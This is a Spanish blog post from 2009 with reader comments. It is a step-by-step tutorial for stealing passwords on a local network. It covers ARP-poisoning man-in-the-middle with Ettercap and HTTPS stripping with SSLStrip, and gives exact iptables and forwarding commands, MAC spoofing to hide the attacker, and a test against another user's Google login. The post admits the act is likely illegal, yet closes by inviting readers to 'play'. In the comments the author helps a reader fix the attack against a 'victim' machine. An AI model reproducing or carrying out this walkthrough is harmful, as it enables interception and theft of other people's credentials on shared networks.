sábado, 26 de septiembre de 2009

SSLStrip+Ettercap

Conseguir passwords en una red local con, o sin cifrado. Ea!

Distribución candidata: BackTrack 4 Pre Release grabada en un DVD o virtualizada con su herramienta favorita ( VMWare, VirtualBox, Qemu... ) y ejecutada como LiveCD. Evidentemente si lo virtualizamos necesitamos que la tarjeta de red esté en Bridged ( Puenteada ) con nuestra tarjeta de red, léase que debe tener una dirección IP diferente a maquina anfitrión y acceso a la red local. Enlace

(Nota: Si esto les ha sonado a chino, busquen manuales por este orden IntroducciónInformática>CómoGrabarUnCd>CómoGrabarUnDvd>que es un LiveCD>Internet, el gran desconocido>Hacking ético>Consola, mas que una pantalla negra con letras blancas>y finalmente vengan aqui a completar el manual. Mas o menos estos son los pasos que he seguido yo para conseguir los passwords de mi red =)

Herramientas que vamos a utilizar?

  • Ettercap: Para realizar el ataque MITM ( Man in The Middle ) sobre uno o varios elementos de la red.
  • SSLStrip: Para poder capturar la mayoría de datos que naveguen ( supuestamente ) de forma segura.
  • Macchanger: como simple precaución, cambiaremos la MAC de nuestra maquina virtual.
Bueno, la versión de Ettercap que viene con BackTrack ya nos servirá. Descargaremos la última versión de SSLStrip de la pagina web oficial ( creador Moxxie Marlinspike ) actualmente v0.6
De mientras iremos instalando las dependencias del programita.
  • sudo aptitude install python2.4 -y
  • sudo aptitude install python-twisted-web -y
Ejecutamos el comando 'macchanger -r' para establecer una MAC aleatoria y así proteger un poquito nuestra identidad. Vale, al lío.
  • Ejecutamos Ettercap-GTK por el menú o a través de la consola con un 'sudo nohup ettercap -G &'
  • Pulsamos Mayus+U ( o Sniff>Unified Sniffing ) y seleccionamos nuestra interface de red ( normalmente eth0... como podemos saber que interface es? con un 'ifconfig' en la consola. La interface que tenga una IP será la que estemos usando en la red )
  • Pulsamos Control+S ( o Hosts>Scan for Hosts ) y a continuación la tecla H ( o Hosts>Hosts list ).
Vale, hasta aqui qué tenemos? Una lista de los hosts que se encuentran disponibles en la red ( a excepción de nosotros mismos, claro ). Vale, y ahora qué? Pues podemos hacer un ataque MIMT a toda la red o podemos seleccionar un host de la lista y después en "Add to Target 1" y a continuación seleccionar el router ( ya que los datos cifrados viajaran entre el ordenador seleccionado y el router ) que presumiblemente es 192.168.1.1 y pulsar "Add to Target 2". El orden de Target1 o Target2 no es importante. Si no tocamos nada de Target1 o Target2, TODO el trafico de la red pasara por nuestro ordenador. Ventajas: puedes pillar mas contraseñas o información "útil". Inconvenientes, es mas facil de detectar para alguien que vigile y si hay muchos ordenadores - ergo hay mucho tráfico en la red - la velocidad de la red se verá afectada reduciendose drásticamente. Anyway! Lo mas facil es no tocar nada y seguir adelante:
  • Vamos a Mitm>Arp Poisoning, marcamos la primera casilla de Sniff remote conections y Aceptar. Dejemos un momento Ettercap aparcado que mas tarde lo usaremos.
  • Nos hemos descargado la última versión de SSLStrip, verdad? Entonces con la consola nos situamos en el mismo directorio donde esté el fichero y hacemos lo siguiente:
  • 'tar zxvf sslstrip-0.6.tar.gz' para descomprimir. Después hacemos un 'cd sslstrip-0.6' para situarnos en el directorio.
  • Ejecutamos: 'echo "1" > /proc/sys/net/ipv4/ip_forward' para decir al PC que redireccione los paquetes.
  • Y creamos una regla en iptables: 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000' *nota: --to-port puede ser el puerto que os apetezca, a mi me gusta el 10.000
  • Activamos nuestro encantador programa SSLStrip con un: 'python sslstrip.py -l 10000'
  • Y como paso final vamos a Ettercap y pulsamos Control+W ( o Start>Start Sniffing )
  • Voilà! Ahora todo el trafico de la red pasa por nuestro ordenador y el programita SSLStrip se encarga de filtrar la información interesante. SSLStip va a escupir bastante información, pero los passwords se ven mejor en la parte inferior de Ettercap.
  • PRUEBA: Con otro PC de la red accede a www.google.com - o sucedáneo - y autentificate. El nombre de usuario&password deberían aparecer en Ettercap. Igual no puedes entrar dentro de la cuenta de correo porque google.com se da cuenta de que algo pasa, pero demasiado tarde ya que nosotros ya hemos capturado el user&password.
Conclusión. Las redes no son seguras ( já! ¿y para esta conclusión me he chupado todo este coñazo de HOW-TO? ). Podemos sacar información sensible de ellas sin dificultad. Esta información seguro que esta amparada por alguna ley, con lo que convierte nuestros actos de extracción de información en algo algo ilegal.
Uso del manual: entender que si tu eres capaz de capturar passwords, los demás también pueden ( desconfía de los cybers, puntos de acceso wifi, etc.... ) y el ejercicio ha sido por curiosidad académica, una demostración practica de que se puede hacer muy fácil.
Ala yo ya lo he dichooo, ahora a jugar! Que la cara de pillo que se te ha puesto no es por que si...

3 comentarios:

  1. Si tienen problemas usando ettercap, consideren usar dsniff.

    ResponderEliminar
  2. Todo Ok, pero en el momento que abro google o gmail en el equipo victima, el sslstrip en el equipo atacante peta, diciendo algo de exception, y el navegador se queda sin mostrar pagina (probado en ie8 y firefox 8)

    ResponderEliminar
  3. Hola Anónimo. Cuando escribí el artículo en 2009 la herramienta SSLStrip aprovechaba una mala implementación del la transferencia de dominios SSL haciendo muy fácil descrifrar las conexiones SSL que pasaban por tu máquina ( Mediante un MITM, por ejemplo ). Esta vulnerabilidad se arregló a los 4-5 meses en prácticamente todas las implementaciones de SSL por lo que nos quedamos sin poder jugar. Aún así me consta que la herramienta ha ido evolucionando, y ha pasado de la versión 0.6 a la versión 0.9 ya ( disponible en su página web oficial ).

    Justo viendo el changelog de la veresión 0.9 dice que arreglaron un bug introducido en la versión 0.8 que no te permitía hacer login en las cuentas de Google.

    Yo si fuese tu probaría la última versión de la herramienta, a ver si te da resultado. No olvides comentar si la cosa te ha funciona, o si tienes cualquier otra duda!

    Un saludo, Jan.

    ResponderEliminar